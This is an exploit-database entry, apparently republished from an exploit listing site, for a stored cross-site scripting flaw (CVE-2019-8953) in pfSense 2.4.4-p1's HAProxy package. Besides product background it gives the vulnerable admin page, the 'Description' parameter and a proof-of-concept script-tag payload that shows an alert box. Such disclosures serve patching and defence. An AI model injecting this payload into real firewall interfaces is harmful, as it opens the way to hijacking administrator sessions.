Pfsense 2.4.4p1 (haproxy package 0.59_14) persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-03-13 | Type : webapps | Platform : php
This exploit / vulnerability Pfsense 2.4.4p1 (haproxy package 0.59_14) persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Stored Cross-Site Scripting
# Date: 13.02.2019
# Exploit Author: Gionathan "John" Reale
# Vendor Homepage: https://www.pfsense.org
# Version: 2.4.4-p1/0.59_14
# Software Link: N/A
# Google Dork: N/A
# CVE:2019-8953

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Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.
HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers.
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Example: URL https://192.168.1.1/haproxy/haproxy_listeners_edit.php
PARAMETER Description
PAYLOAD "><script>alert("test")</script>